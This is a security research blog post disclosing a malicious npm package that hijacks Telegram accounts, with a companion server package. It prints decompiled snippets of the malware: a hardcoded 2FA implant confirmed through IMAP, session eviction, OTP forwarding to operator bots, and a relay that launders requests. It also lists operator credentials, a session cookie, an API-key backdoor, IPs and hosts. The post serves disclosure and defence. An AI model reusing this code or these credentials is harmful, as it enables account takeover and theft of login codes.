---
title: "common-tg-service: 502 npm Versions Hijack Telegram"
description: "common-tg-service ships 502 npm versions of a Telegram account-takeover framework with hardcoded 2FA credentials, IMAP-based code harvesting, and forced session eviction. Its companion package ams-ssk is the server-side runtime."
url: "https://safedep.io/blog/malicious-common-tg-service-npm-telegram-hijacking-framework"
author: "Kunal Singh"
published: "2026-05-01"
---

# common-tg-service: 502 npm Versions Hijack Telegram

## TL;DR

`common-tg-service` is an npm package that presents itself as a "Common Telegram service for NestJS applications." The compiled code inside `dist/` is a Telegram account-takeover framework. All 502 published versions (1.0.1 through 1.3.207) are malicious. The package pulls 28,000 weekly downloads on the public npm registry.

A second package by the same publisher, `ams-ssk@1.0.33`, is the server-side runtime that `common-tg-service` calls back to. `ams-ssk` does not attack the host that installs it. It ships the operator's infrastructure code: same `shetty123` npm publisher, identical `folders/:folder/files/download-all` API surface, the same copy-pasted NestJS template README, the same disguise pattern. Matched client and server.

**Impact:**

- Sets a hardcoded 2FA password (`Ajtdmwajt1@`) on every Telegram account passed through the service, with the operator's Gmail (`storeslaksmi@gmail.com`) as recovery address.
- Reads the operator's IMAP mailbox to auto-submit Telegram's 2FA confirmation email. The victim sees nothing.
- Revokes every device authorization that does not match the operator's session, kicking the legitimate owner off their own account.
- Forwards every OTP login code from Telegram chat `777000` to operator-controlled bot channels alongside the victim's phone number.
- Runs an SRP-check loop against every managed account and flags any account where the user rotated their 2FA as `FOREIGN 2FA password, account unrecoverable`.
- Pulls runtime configuration from `npoint.io` using committed plaintext credentials and a pre-baked session cookie. The operator can change behavior of all deployed instances without re-publishing.
- Routes blocked HTTP requests through `helper-thge.onrender.com` as an attribution-laundering relay.

**Indicators of Compromise (campaign-level):**

[IoC: campaign infrastructure across both packages](https://safedep.io/data/blogs/common-tg-service-campaign-iocs.csv)

Three details name the target: the "UPI Integration" feature in the README, the `report-upi.netlify.app` origin, and the `India143` 2FA hint. The framework is aimed at Indian Telegram accounts for downstream payments fraud.

## Package 1: `common-tg-service`

### Provenance

| Field                   | Value                                                  |
| ----------------------- | ------------------------------------------------------ |
| Package                 | `common-tg-service`                                    |
| Latest version analyzed | `1.3.207`                                              |
| Total versions on npm   | 502 (1.0.1 → 1.3.207)                                  |
| First publish           | version `1.0.1`                                        |
| Maintainer              | `shetty123` &lt;shettysaikumar3@gmail.com&gt;          |
| License declared        | MIT                                                    |
| Engines                 | `node >=22.0.0`                                        |
| Install-time scripts    | None. The malice triggers at runtime, not install time |
| Weekly downloads        | ~28,000                                                |
| Tarball                 | `common-tg-service-1.3.207.tgz`                        |
| SHA-1                   | `5061bc9611e31a48a8085cfab4cb875a6cc633ec`             |
| Package size            | 662.9 kB packed / 4.0 MB unpacked / 934 files          |

The version count was verified directly:

```bash
$ npm view common-tg-service versions --json | jq 'length'
502
```

The package declares no `preinstall` or `postinstall` hooks. Install-time scanners that gate on lifecycle scripts will not flag it. The malice runs when the service starts, not when `npm install` does.

### Behavior 1: 2FA implant via IMAP

When the service handles a Telegram account without a 2FA password, it sets one. The password, recovery email, and hint are all hardcoded.

```js
// dist/components/Telegram/manager/auth-operations.js:110
async function set2fa(ctx) {
  if (!(await hasPassword(ctx))) {
    const twoFaDetails = {
      email: 'storeslaksmi@gmail.com',
      hint: 'password - India143',
      newPassword: 'Ajtdmwajt1@',
    };
    return imapService.runExclusive(async () => {
      await imapService.connectToMail(30_000);
      await ctx.client.updateTwoFaSettings({
        isCheckPassword: false,
        email: twoFaDetails.email,
        hint: twoFaDetails.hint,
        newPassword: twoFaDetails.newPassword,
        emailCodeCallback: async (length) => {
          /* polls operator's mailbox up to 4 times,
                       reads the email confirmation code Telegram sent,
                       and submits it back to Telegram automatically */
        },
      });
    });
  }
}
```

The IMAP module connects to the operator's `imap.gmail.com` mailbox, reads the confirmation code Telegram sends to the recovery address, and submits it back to Telegram. The whole 2FA setup runs without prompting the victim.

The recovery email being operator-controlled is the load-bearing detail. Even if a victim regains some other access to their account, the operator can reset 2FA at any time through the recovery flow.

### Behavior 2: ownership-verification loop

The framework does not just take the account over. It watches for users who escape.

```js
// dist/components/shared/base-client.service.js:208
this.KNOWN_2FA_PASSWORD = 'Ajtdmwajt1@';
// ...
const srp = await computeCheck(passwordInfo, this.KNOWN_2FA_PASSWORD);
if (/* SRP check failed */) {
    this.logger.warn(`${mobile}: 2FA password verification failed, foreign password`);
    await this.markAsInactive(doc.mobile,
        'Foreign 2FA password, account unrecoverable if session dies');
    this.botsService.sendMessageByCategory(
        ChannelCategory.ACCOUNT_NOTIFICATIONS,
        `<b>FOREIGN 2FA</b>\n<b>Mobile:</b> ${doc.mobile}\n<b>Status:</b> Account has unknown 2FA password, marked inactive`,
        { parseMode: 'HTML' }
    );
}
```

On a loop, the framework SRP-checks every managed account against the hardcoded password. If the legitimate user has rotated their 2FA, the framework marks the account `unrecoverable` and pings the operator's Telegram channel. The campaign alerts on user pushback.

### Behavior 3: forcible eviction of other sessions

For every other device authorized on the account, the framework calls `account.GetAuthorizations`, filters out the operator's own session fingerprint, and revokes the rest.

```js
// dist/components/Telegram/manager/auth-operations.js:32
async function removeOtherAuths(ctx) {
  const result = await ctx.client.invoke(new Api.account.GetAuthorizations());
  for (const auth of result.authorizations) {
    if (isOwnAuth(ctx.phoneNumber, auth)) continue;
    await fetchWithTimeout(
      `${notifbot()}&text=${encodeURIComponent(
        `Removing Auth\n\nMobile: ${ctx.phoneNumber}\nApp: ${auth.appName}\n` +
          `Device: ${auth.deviceModel}\nCountry: ${auth.country}\nAPI ID: ${auth.apiId}`
      )}`
    );
    await resetAuthorization(ctx, auth);
  }
}
```

Each revocation reports back to the operator's bot channel with phone, country, device model, and API ID. The legitimate owner gets booted off their own account, no notification, no recourse.

### Behavior 4: OTP harvesting from chat 777000

Telegram delivers OTP login codes from the official sender chat `777000`. The framework listens for messages on that chat and forwards them straight to the operator's bot channel.

```js
// dist/components/Telegram/manager/client-operations.js:107
if (event.message.chatId.toString() == '777000') {
  await fetchWithTimeout(
    `${notifbot()}&text=${encodeURIComponent(
      `Login Code Received\n\nClient: ${process.env.clientId}\n` +
        `Mobile: ${ctx.phoneNumber}\nMessage: ${event.message.text?.substring(0, 100)}`
    )}`
  );
}
```

Any phone number passing through the framework gives the operator full login capability on demand.

### Behavior 5: npoint.io as remote config store

`npoint.io` is a free public JSON hosting service. The operator committed live credentials and a pre-baked session cookie for their npoint account into the source.

```js
// dist/components/n-point/npoint.service.js:17
this.cookie = '_npoint_session=MTBOeElFZ0pX...== --4d0883b9956c6...';
this.baseUrl = 'https://www.npoint.io';
this.signInUrl = 'https://www.npoint.io/users/sign_in';
// ...
const data = JSON.stringify({
  user: {
    email: 'dodieajt@gmail.com',
    password: 'Ajtdmwajt1@',
  },
});
```

Every running instance authenticates to npoint as the operator and pulls JSON configuration from there. The operator can change behavior of all deployed instances by editing a JSON file on npoint, no re-publish required.

### Behavior 6: HTTP request laundering

On HTTP 403 or 495, the framework re-issues the request through an operator-controlled relay.

```js
// dist/utils/fetchWithTimeout.js:79
async function makeBypassRequest(url, options) {
  const finalBypassUrl = bypassUrl.startsWith('http') ? bypassUrl : 'https://helper-thge.onrender.com/execute-request';
  const response = await bypassAxios.post(
    finalBypassUrl,
    {
      url,
      method,
      headers,
      data,
      params /* ... */,
    },
    { headers: { 'x-api-key': process.env.X_API_KEY || 'santoor' } }
  );
}

if (parsedError.status === 403 || parsedError.status === 495) {
  const bypassResponse = await makeBypassRequest(url, options);
}
```

`helper-thge.onrender.com` runs on Render's free tier and serves as an attribution-laundering proxy. The authentication header is the shared string `santoor`, which the codebase reuses as a universal internal API key.

### Behavior 7: authentication bypass backdoor

The service exposes administrative endpoints behind an `AuthGuard`. Any one of three conditions passes the guard:

```js
// dist/guards/auth.guard.js:14
const ALLOWED_IPS = ['31.97.59.2', '148.230.84.50', '13.228.225.19', '18.142.128.26', '54.254.162.138'];
const ALLOWED_ORIGINS = [
  'https://paidgirl.site',
  'https://zomcall.netlify.app',
  /* ... */
];
// ...
if (apiKey && apiKey.toLowerCase() === 'santoor') {
  passedReason = 'API key valid';
}
```

The API key is a publicly readable string in the source. Anyone who reads the package can authenticate as the operator.

### Cross-reference map for `common-tg-service`

| File                                                    | Role                                                                       |
| ------------------------------------------------------- | -------------------------------------------------------------------------- |
| `dist/components/n-point/npoint.service.js`             | npoint.io C2 config store with hardcoded operator creds and session cookie |
| `dist/components/Telegram/manager/auth-operations.js`   | 2FA implant, IMAP mail polling, eviction of other authorizations           |
| `dist/components/Telegram/manager/client-operations.js` | OTP exfil to Telegram bot channel                                          |
| `dist/components/Telegram/manager/helpers.js`           | `cms.paidgirl.site` internal hosts, file-download API key handling         |
| `dist/components/shared/base-client.service.js`         | `KNOWN_2FA_PASSWORD` ownership-verification loop, `FOREIGN 2FA` detection  |
| `dist/components/session-manager/session.service.js`    | `DEFAULT_PASSWORD = 'Ajtdmwajt1@'`, OTP read from `777000`                 |
| `dist/components/Telegram/utils/generateTGConfig.js`    | Pulls proxy/IP config from `cms.paidgirl.site/ip-management`               |
| `dist/utils/fetchWithTimeout.js`                        | HTTP bypass relay through `helper-thge.onrender.com/execute-request`       |
| `dist/utils/logbots.js`                                 | Telegram bot exfil URL builders, default operator chat IDs                 |
| `dist/IMap/IMap.js`                                     | Gmail IMAP client used to grab 2FA confirmation codes                      |
| `dist/cloudinary.js`                                    | Pulls zip payloads from `cms.paidgirl.site`                                |
| `dist/guards/auth.guard.js`                             | Hardcoded operator IPs, origins, and API key `santoor` for inbound auth    |

### Manifest and README deception

The README is a copy-pasted NestJS template, presenting the package as "A progressive Node.js framework" with a generic feature list (`Telegram Bot Integration`, `Channel Management`, `Statistics`, `Promotion Management`, `UPI Integration`). It mentions none of the real behaviors: no 2FA modification, no IMAP polling, no hardcoded credentials, no Telegram bot exfil, no forced revocation of other authorizations.

`package.json` declares no install-time scripts, so install-time scanners stay quiet. All malice runs at runtime.

## Package 2: `ams-ssk`

The same `shetty123` npm publisher also maintains `ams-ssk`, marketed as "NestJS AMS Library for file management." On its own, `ams-ssk` is not a stealer or RAT. The package has no payload aimed at the host that runs `npm install ams-ssk`. What makes it interesting is the role it plays: the server-side runtime that `common-tg-service` calls into.

### Provenance

| Field                   | Value                                                                       |
| ----------------------- | --------------------------------------------------------------------------- |
| Package                 | `ams-ssk`                                                                   |
| Latest version analyzed | `1.0.33`                                                                    |
| Total versions on npm   | 31 (1.0.0 → 1.0.33)                                                         |
| Tarball                 | `ams-ssk-1.0.33.tgz`                                                        |
| SHA-1                   | `80da04770a779330803bdd00d00a354adc12859a`                                  |
| Package size            | 161.8 kB packed / 680.7 kB unpacked / 92 files                              |
| npm publisher           | `shetty123` &lt;shettysaikumar3@gmail.com&gt; (same as `common-tg-service`) |
| Declared author         | `Mad_man`                                                                   |
| Declared description    | "NestJS AMS Library for file management"                                    |
| Declared repository     | `https://github.com/mad_man/ams.git` (does not resolve)                     |
| Engines                 | `node >=16.0.0`                                                             |
| First publish           | 2025-03-05                                                                  |
| Latest publish          | 2026-04-12                                                                  |
| Install-time scripts    | None                                                                        |

The display author `Mad_man` is the same handle that appears in the operator's `repository.url` field.

### What `ams-ssk` ships

The package bundles two functional modules:

- **`FileModule`**, a folder-and-file CRUD API: `listFolders`, `createFolder`, `deleteFolder`, `uploadFiles`, `downloadFile`, `moveFile`, `copyFile`, plus `generateShareableLink`, `getTemporaryLinks`, `uploadFromUrl`, JSON path/query helpers, file preview, thumbnail, range-streaming, lock/unlock, versioning, and a bulk-zip endpoint `folders/:folder/files/download-all` (registered at `dist/files/file.controller.js:428`).
- **`BotModule`**, a Telegram multi-bot forwarder. `botLoadBalancer` manages a pool of `node-telegram-bot-api` clients with per-bot operation counters; `botService` forwards incoming messages to configured channels with retry and admin-chat notification.

In isolation the code is clean of obvious red flags: no hardcoded operator credentials, no `paidgirl.site` strings, no `eval` or `child_process`, no base64 obfuscation, no postinstall hooks, no IMAP modules.

### How it links to `common-tg-service`

The link is the API surface. `common-tg-service` calls a specific URL grammar; `ams-ssk` defines that same grammar.

| `common-tg-service` calls                                                                            | `ams-ssk` defines                                                                                |
| ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ |
| `https://cms.paidgirl.site/folders/${folderName}/files/download-all` (`dist/cloudinary.js:87`)       | Route `'folders/:folder/files/download-all'` (`dist/files/file.controller.js:428`)               |
| Internal allow-list includes `cms.paidgirl.site` (`dist/components/Telegram/manager/helpers.js:202`) | Responses use `${process.env.serviceUrl}/folders/<folder>/files/<file>?temp=true \| ?share=true` |

`cms.paidgirl.site` is a deployed instance of `ams-ssk` (or a sibling fork that shares the same controllers). The folder/file URL grammar is identical between client and server.

The Swagger DTO for shareable links leaks a second operator-controlled host that does not appear anywhere in `common-tg-service`:

```js
// dist/files/dto/responses.dto.js:80
example: 'https://promoteClients2.glitch.me/folders/docs/files/example.pdf?share=true',
```

`promoteClients2.glitch.me` is a previously unreported operator host on the free Glitch.me platform. The "2" suffix points to sequential staging (`promoteClients`, `promoteClients2`, possibly more). The naming lines up with `common-tg-service`'s `PromoteClientModule`, which warms up newly-acquired Telegram accounts.

The two share architecture, not just an API:

| Feature                  | `common-tg-service`                                                                                         | `ams-ssk`                                                                                                  |
| ------------------------ | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- |
| Multi-bot rotation       | `BOT_TOKENS` CSV, round-robin in `dist/utils/logbots.js`                                                    | `bot_BOT_MAX_OPERATIONS`, `botLoadBalancer.getNextBot()` round-robin                                       |
| Channel-based exfil      | Five categories: `accountsChannel`, `updatesChannel`, `notifChannel`, `httpFailuresChannel`, `miscmessages` | `TELEGRAM_CHANNEL_*` env vars; `channelId::description::botTokens` parser (`dist/config/bot.config.js:84`) |
| Admin chat notifications | `notifyAdmin` analogues throughout                                                                          | `bot_ADMIN_CHAT_ID` + `notifyAdmin()` (`bot.service.js:124`)                                               |
| File-bundle pulls        | Downloads zips via `cms.paidgirl.site/folders/{x}/files/download-all`                                       | Serves zips from `folders/:folder/files/download-all`                                                      |

The disguise pattern is identical: copy-pasted NestJS template README (same `circleci-image`, same `paypal.me/kamilmysliwiec`, same `Kamil Myśliwiec` author block), misleading "file management library" description, undeclared Telegram bot integration in the keywords, and a non-resolvable GitHub repository URL.

One other tell: `dist/files/utils/helper.js:42` hardcodes `VIDEO_ROOT = path.resolve(process.cwd(), 'videos')` and constrains `getSafeFilePath` to that directory. Combined with the `paidgirl.site` brand and the `.mp4` default file extension, the AMS deployment likely hosts media used as honeypot bait for Telegram targets.

### Indicators of Compromise (`ams-ssk`-specific)

[IoC: ams-ssk package](https://safedep.io/data/blogs/ams-ssk-iocs.csv)

### Verdict on `ams-ssk`

| Axis                                             | Classification                                                                                                                                      |
| ------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| Direct local-execution malware against installer | No                                                                                                                                                  |
| Member of a confirmed malicious-package campaign | Yes                                                                                                                                                 |
| Suitable for OSV `malicious-packages` listing    | Yes, campaign-associated, with `common-tg-service` as the campaign reference                                                                        |
| npm takedown justification                       | Yes. Same publisher as confirmed credential-harvesting malware. Package leaks live operator C2 in its own documentation. Description is misleading. |

`ams-ssk` is operator infrastructure tooling, public on npm. Its secondary effect is plausible deniability: "this developer also publishes a normal NestJS library" softens scrutiny on the malicious sibling.

## Remediation

If a project depends on `common-tg-service` at any version:

1. Remove the dependency.
2. Audit every Telegram account whose phone number passed through the service. Check the 2FA recovery email (`storeslaksmi@gmail.com` means compromise), check the 2FA hint (`password - India143` means compromise), and review active authorizations under Settings → Devices for unknown sessions originating from the operator IPs above.
3. Reset Telegram 2FA password and recovery email, then revoke all other active sessions.
4. Block egress to `paidgirl.site`, `cms.paidgirl.site`, `helper-thge.onrender.com`, `promoteClients2.glitch.me`, and `www.npoint.io` from any environment that ran the package.
5. Rotate any environment variables that may have been exposed to the running service: `BOT_TOKENS`, `clientId`, `accountsChannel`, `updatesChannel`, `notifChannel`, `httpFailuresChannel`, `X_API_KEY`, `PROXY_API_URL`, `PROXY_API_KEY`, `bypassURL`.

## Verdict

`common-tg-service` is a Telegram account-takeover framework, shipped as 502 npm versions under a benign NestJS-utility name. `ams-ssk` is the same operator's server-side runtime, deployed at `cms.paidgirl.site` and `promoteClients2.glitch.me` and published on npm under the same `shetty123` identity with the same disguise pattern. The two are a matched client and server in one credential-harvesting and account-hijacking operation.
